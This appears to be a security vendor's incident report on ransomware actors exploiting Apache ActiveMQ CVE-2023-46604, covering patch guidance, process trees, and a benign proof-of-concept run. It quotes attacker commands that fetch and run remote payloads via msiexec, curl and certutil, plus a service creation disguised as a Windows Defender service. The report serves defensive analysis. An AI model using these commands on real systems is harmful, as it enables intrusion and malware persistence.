A partner recently deployed Huntress agents on October 30, 2023, after experiencing a “HelloKitty” ransomware attack on October 27. This ransomware attack followed closely with what was described by Rapid7 in their blog post on November 1, titled Suspected Exploitation of Apache ActiveMQ CVE-2023-46604.
What Is CVE-2023-46604?
Rapid7 identified suspected exploitation of Apache ActiveMQ CVE-2023-46604. The CVE is a remote code execution vulnerability. Huntress has already seen this vulnerability being exploited in an environment we monitor. It is imperative you patch your systems immediately.
If you are running Apache ActiveMQ, patches are available to address CVE-2023-46604 for the following versions: 5.15.16, 5.16.7, 5.17.6, and 5.18.3. To determine the version of ActiveMQ you are running, a command line tool is available. The version will be listed by running the command
Patches can be found here: https://activemq.apache.org/components/classic/download/
If you are unable to patch these systems, you should immediately block the systems from being accessible from the Internet, which will significantly limit the attack surface.
The Huntress team received a number of signals indicative of remote commands issued via Apache ActiveMQ. As illustrated in Figure 1, the process lineage started with
java.exe, and resulted in a command processor execution.
Figure 1: Command Process Tree
The Huntress team’s investigation determined that the exploitation of Apache ActiveMQ was the root cause of this incident.
Analysis of Windows Event Log data extracted from one endpoint indicated historical (prior to the Huntress agent being installed) signs of a compromise that aligned with what was observed by Rapid7. Specifically, MsiInstaller events indicated the start of installation for both
http://172.245.16[.]125/m2.png. However, neither package appeared to install successfully. One of the packages failed to install due to an error with
C:\Windows\Installer\MSIB9E7.tmp, and the other completed, but
C:\Windows\Installer\MSIBC6B.tmp was detected and quarantined by Windows Defender.
*.png files were, in fact, MSI installer files packaged using the
exe2msiSetupPackage, from QwertyLab, as illustrated in Figure 2.
Figure 2: MsiInstaller event ID 1033 event record message (Application Event Log)
Following this activity, the Huntress team observed the process tree illustrated in Figure 1, as well as in Figure 3, on multiple endpoints.
Figure 3: RuntimeBroker.msi Process Tree
The process tree, with full file paths, for
RuntimeBroker.msi, illustrated in Figure 3, appears as follows:
C:\MRX\Apache\ActiveMQ\bin\win64\wrapper.exe -> C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe -> “cmd.exe /c msiexec /q /i http://4.216.93[.]211:5981/RuntimeBroker.msi”
The command to download and install the
RuntimeBroker.msi file via MSIExec does not appear to have succeeded on either endpoint, as there are no MsiInstaller event records visible in the Application Event Log for that endpoint, during that time.
Following the unsuccessful attempt to install the
RuntimeBroker.msi file, the command illustrated in Figure 1 was observed on several endpoints. However, within a short period (a second or less), Windows Defender detected and quarantined the
agent_w.exe file on that same endpoint. Even though
agent_w.exe was quarantined, analysis of the retrieved file indicates that it attempts to connect to
On November 2, the Huntress team was alerted to multiple endpoints executing curl requests via the URL
hxxp://27.102.128[.]152:8098/bit[.]ico, as illustrated in Figure 4. This activity appeared to spawn from the execution of
wrapper.exe located within a subdirectory of the ActiveMQ installation files, exactly as observed in previous process trees.
Figure 4: Curl Process Tree
The Huntress team would like to note that activity of this nature was observed as early as October 10, as illustrated in Figure 5.
Figure 5: Process Creation Event from October 10, 2023
At the time that analysts responded to the alert illustrated in Figure 5, the system at IP address
45.32.120[.]181 was not accessible, but the
win.bat file was retrieved from alternative sources, and appears as follows:
cmd /c certutil -urlcache -split -f http://45.32.120[.]181/x86.exe c:\users\public\86.dat
cmd /c start /b c:\users\public\86.dat
sc create windowDefenSrv binPath= "c:\users\public\86.dat windowDefenSrv" start= auto
At the time that the events were investigated, Huntress analysts found no additional, subsequent malicious activity on the endpoint, indicating that the infection process did not succeed. However, the process tree was identical to what was illustrated in Figures 1 and 3.
The Attack Lab: Exploitation Proof of Concept
Exploitation for this attack is trivial. There is a Metasploit module that automates exploitation for this attack. The Huntress team confirms that this module works like a charm against vulnerable instances of ActiveMQ.
The exploit process unfolds in two stages:
- The attacker establishes a connection to ActiveMQ via the OpenWire protocol, typically running on port
- By sending a crafted OpenWire packet, the attacker prompts the system to unmarshal a class they control. This action triggers the vulnerable server to fetch and load a class configuration XML file from a remote URL, implying the attacker must have a pre-defined XML file hosted elsewhere.
The OpenWire protocol request originates from the attacker, but the request to load a remote class configuration XML file originates from the victim server.
The original writeup for this vulnerability includes the following example of the XML file’s schema:
The loaded class calls the ProcessBuilder method to execute notepad.exe. In practice, the class configuration file will contain any of the well-known post-exploitation primitives like curl, certutil, powershell, and the like.
In this example, we simply echo “worked” into
C:\Windows\Temp\worked.txt to prove successful exploitation:
Figure 6: Running the Metasploit Module
We then see the new file in the vulnerable server’s
C:\Windows\Temp directory, which proves code execution:
Figure 7: Proof of Execution
We also see the requested class configuration file in the Wireshark HTTP stream for this example:
Figure 8: Reconstructed Network Traffic via Wireshark
Indicators of Compromise (IOCs)
The Huntress DE&TH team has also released a public Sigma detector for this particular threat.
Huntress has added detections for the activity reported in this blog. If you’d like to have someone else watching your back while you work on patching, feel free to start a free trial with us so our 24/7 SOC can keep an eye out for you.
Special thanks to Josh Allman, Faith Stratton, Izzy Spering, Matthew Kiely, Matt Anderson, Sharon Martin, Harlan Carvey, and Joe Slowik for their contributions to this writeup.